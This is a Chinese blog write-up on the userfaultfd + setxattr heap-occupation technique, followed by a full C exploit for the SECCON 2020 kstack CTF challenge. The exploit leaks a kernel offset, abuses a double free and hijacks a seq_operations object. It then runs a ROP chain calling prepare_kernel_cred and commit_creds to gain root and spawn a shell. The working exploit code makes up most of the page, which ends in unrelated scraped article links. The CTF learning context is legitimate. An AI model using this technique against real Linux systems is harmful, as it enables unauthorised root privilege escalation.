利用userfaultfd + setxattr堆占位

很久之前便看到过这个技术的名字,但是由于自己的摆烂,一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr算是内核里一种比较通用的利用技术,在实际场景中通常和堆喷射技术结合起来。但是在某些CTF的题目中,我们已经有了UAF,故并不需要喷射大量的结构体,而是需要在特定的时间对某些object进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位。在之前的博客中我就写过关于userfaultfd利用方式的介绍,故本文主要关注对setxattr的利用。

setxattr系统调用

setxattr是一个很特殊的系统调用,它在内核空间可以实现几乎任意大小的object分配。

他的调用链如下:

SYS_setxattr()
path_setxattr()
setxattr()

抛开这个系统调用的正常功能,我们看一下他对我们有用的关键源码:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { //,.. kvfree(kvalue); return error;
}

我们可以看到首先是kvmalloc(size, GFP_KERNEL)分配出内存空间,接着通过copy_from_user(kvalue, value, size)向空间中拷贝数据,最后调用kvfree(kvalue);将其分配的空间释放。因为这里的value和size都是我们可控的,所以我们几乎就可以实现分配任意大小的object并向其中写入数据。但是在最后会将我们分配的object释放掉,那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd来使得拷贝过程被卡住,也就不会进行下一步的释放。我们可以想到一下场景:

我们通过mmap分配两个连续内存页,在第二个内存页上使用userfaultfd进行监视,并在第一个内存页尾写入我们想要的数据,那么此时我们调用setxattr,当copy_from_user拷贝到第二个内存页时就会卡住,这个object也自然不会被释放掉,从而达成我们的目的。

SECCON 2020 kstack来学习userfaultfd + setxattr堆占位的手法

exp:对着arttnba3师傅的exp改了改

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h> #define PAGE_SIZE 0x1000 int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset; void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
} void push(char* data)
{
if(ioctl(fd, 0x57AC0001, data) < 0)
ErrExit("push error");
} void pop(char* data)
{
if(ioctl(fd, 0x57AC0002, data) < 0)
ErrExit("pop error");
} void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
} void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error"); ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
} void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("[+] leak handler created");
pop(&kernel_offset);
kernel_offset-= 0xffffffff81c37bc0;
printf("[+] kernel offset: 0x%lx\n", kernel_offset); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
} void *userfault_double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error"); struct uffdio_copy uc; // init page
memset(page, 0, sizeof(page)); puts("[+] double free handler created");
pop(page); uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
} size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34; void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg; struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1); if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error"); char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc; puts("[+] hijack handler created");
puts("[+] tigger..");
for(int i=0; i<100; i++)
close(seq_fds[i]); pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10; __asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
); printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell(); // init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
} int main()
{
size_t size[0x10];
char* leak_buf;
char* double_free_buf;
char* hijack_buf;
int shm_id;
char* shm_addr; fd = open("/proc/stack",O_RDONLY);
if(fd < 0)
ErrExit("[-] open kstack error"); for(int i=0; i<100; i++)
if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error"); leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler); shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget error");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if(shmdt(shm_addr) < 0)
ErrExit("shmdt error"); push(leak_buf); double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(double_free_buf, userfault_double_free_handler); push("fxc");
pop(double_free_buf); hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset; if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error"); setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}

利用userfaultfd + setxattr堆占位的更多相关文章

  1. PHP利用二叉堆实现TopK-算法的方法详解

    前言 在以往工作或者面试的时候常会碰到一个问题,如何实现海量TopN,就是在一个非常大的结果集里面快速找到最大的前10或前100个数,同时要保证 内存和速度的效率,我们可能第一个想法就是利用排序,然后 ...

  2. 利用js实现placeholder占位符,甩开ie不兼容

    正常的写法 <input type="text" placeholder="占位符"> 这种写法ie低版本的支持不友好,为了满足某些测试或者产品的变 ...

  3. 【数据结构与算法Python版学习笔记】树——利用二叉堆实现优先级队列

    概念 队列有一个重要的变体,叫作优先级队列. 和队列一样,优先级队列从头部移除元素,不过元素的逻辑顺序是由优先级决定的. 优先级最高的元素在最前,优先级最低的元素在最后. 实现优先级队列的经典方法是使 ...

  4. 利用msg_msg实现任意地址读写

    利用msg_msg实现任意地址读写 msgsnd和msgrcv的源码分析 内核通过msgsnd和msgrcv来进行IPC通信.内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着 ...

  5. Linux堆内存管理深入分析(上)

    Linux堆内存管理深入分析(上半部) 作者:走位@阿里聚安全   0 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞 ...

  6. Java实现堆排序(大根堆)

    堆排序是一种树形选择排序方法,它的特点是:在排序的过程中,将array[0,...,n-1]看成是一颗完全二叉树的顺序存储结构,利用完全二叉树中双亲节点和孩子结点之间的内在关系,在当前无序区中选择关键 ...

  7. 堆的基础题目学习(EPI)

    堆的应用范围也比较广泛,经常游走在各种面试题目之前,不论算法设计的题目还是海量数据处理的题目,经常能看到这种数据结构的身影.堆其实就是一个完全二叉树的结构,经常利用数组来实现.包含最大堆和最小堆两种. ...

  8. 使用Keil的MicroLIB时自动设置堆大小——玩嵌入式以来最高难度

    Keil编译项目,如果使用微库MicroLIB,就可以使用malloc.微库内部位置一个堆管理模块.芯片的RAM大小是固定了的,前面分为全局变量,后面分给堆和栈,这是一般开发方式.但是我们在开发项目的 ...

  9. Linux堆内存管理深入分析

    (上半部) 作者:走位@阿里聚安全 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞利用两种.国内关于栈溢出的资料相对较 ...

随机推荐

  1. awk内置函数、外部变量

    外部变量 ①获取外部变量 格式: awk '{action}' 变量名=变量值 ,这样传入变量可以在action中获得值. 示例: test='awk test'--day-5 外部变量 ①获取外部变 ...

  2. 【.NET基础】Linq常用语法代码演示

    前言:前言不重要,linq入门常用的语法,linq语法可以用来写操作集合.数据库表集合等等几乎所有集合类型的操作.下面就写几个案例(以List集合来做的),看代码和运行结果即可. 本文演示环境:VS2 ...

  3. Java学习_常见异常

    JAVA常见异常 Java.io.NullPointerException null 空的,不存在的 NullPointer 空指针 空指针异常,该异常出现在我们操作某个对象的属性或方法时,如果该对象 ...

  4. WPS衍生新软件,填补一大缺憾,让office汗颜,Excel用户很开心

    首先,向大家报告一个好消息 WPS今天宣布品牌升级,有了更明确的品牌定位:专注创新的国民办公软件.WPS已有34年的历史了,自1988年诞生之日起,它在求伯君和雷军的带领下,一路披荆斩棘,虽有坎坷,但 ...

  5. 再见Docker!Containerd安装与使用

    Containerd 的技术方向和目标 简洁的基于 gRPC 的 API 和 client library 完整的 OCI 支持(runtime 和 image spec) 同时具备稳定性和高性能的定 ...

  6. day02-2

    JAVA入门 1.C&&C++ 1972年C诞生 贴近硬件,运行极快,效率极高 操作系统,编译器,数据库,网络系统等 指针和内存管理 1982年C++诞生 面向对象 兼容C 图形领域. ...

  7. MySQL客户端工具的使用与MySQL SQL语句

    MySQL客户端工具的使用 1.MySQL程序的组成 客户端 mysql:CLI交互式客户端程序 mycli:CLI交互式客户端程序;使用sql语句时会有提示信息 mysql_secure_insta ...

  8. SQLServer的两个日期相减(间隔)datediff函数

    select datediff(year, 开始日期,结束日期); --两日期间隔年  select datediff(quarter, 开始日期,结束日期); --两日期间隔季  select da ...

  9. 常见SQL及备注

  10. (原创)[C#] GDI+ 之鼠标交互:原理、示例、一步步深入、性能优化

    一.前言 "GDI+"与"鼠标交互",乍一听好像不可能,也无从下手,但是实现原理比想象中要简单很多. 基于"GDI+"的"交互&q ...